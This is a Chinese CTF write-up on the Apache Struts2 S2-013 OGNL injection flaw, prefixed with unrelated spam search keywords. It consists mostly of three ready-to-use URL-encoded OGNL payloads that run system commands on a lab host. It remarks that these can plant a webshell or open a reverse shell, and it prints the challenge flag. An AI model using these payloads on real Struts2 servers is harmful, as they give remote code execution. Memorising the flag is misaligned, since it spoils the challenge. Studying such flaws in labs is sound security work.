西安网站制作公司哪,万网网站加速,php做企业网站需要多久,logo设计制作在线struts2的标签中 s:a 和 s:url 都有一个 includeParams 属性#xff0c;可以设置成如下值none - URL中不包含任何参数#xff08;默认#xff09;
get - 仅包含URL中的GET参数
all - 在URL中包含GET和POST参数
当includeParamsall的时候#xff0c;会将本次…
struts2的标签中 s:a 和 s:url 都有一个 includeParams 属性可以设置成如下值none - URL中不包含任何参数默认
get - 仅包含URL中的GET参数
all - 在URL中包含GET和POST参数
当includeParamsall的时候会将本次请求的GET和POST参数都放在URL的GET参数上。此时s:a 或s:url尝试去解析原始请求参数时会导致OGNL表达式的执行 在s2-013中因为参数的问题导致rce漏洞的出现 payload1、http://node5.buuoj.cn:27491/?a%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%27id%27).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%27dbapp%3D%27%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D2、http://node5.buuoj.cn:27491/?redirect:%24%7b%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2c%23f.setAccessible(true)%2c%23f.set(%23_memberAccess%2ctrue)%2c%23a%3d%40java.lang.Runtime%40getRuntime().exec(%22echodqub23akjj21sd2kx75xa123f%22).getInputStream()%2c%23b%3dnewjava.io.InputStreamReader(%23a)%2c%23c%3dnewjava.io.BufferedReader(%23b)%2c%23d%3dnewchar%5b5000%5d%2c%23c.read(%23d)%2c%23genxor%3d%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2c%23genxor.println(%23d)%2c%23genxor.flush()%2c%23genxor.close()%7d3、 Url: http://node5.buuoj.cn:27491/Vulnerable: TrueMethod: POSTPosition: dataPayload: redirect:${%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23s%3dnew%20java.util.Scanner((new%20java.lang.ProcessBuilder(%27id%27.toString().split(%27\\s%27))).start().getInputStream()).useDelimiter(%27\\AAAA%27),%23str%3d%23s.hasNext()?%23s.next():%27%27,%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27UTF-8%27),%23resp.getWriter().println(%23str),%23resp.getWriter().flush(),%23resp.getWriter().close()} 一般使用第一个第二个即可 这里的payload是经过url编码的 在payload里面exec函数里面执行任意命令可以上传木马可以多姿势反弹shell flag在环境变量里面使用exec函数执行env命令即可 flag{9a1b6b01-d8b0-4021-92b7-9e2a9049e8f9}
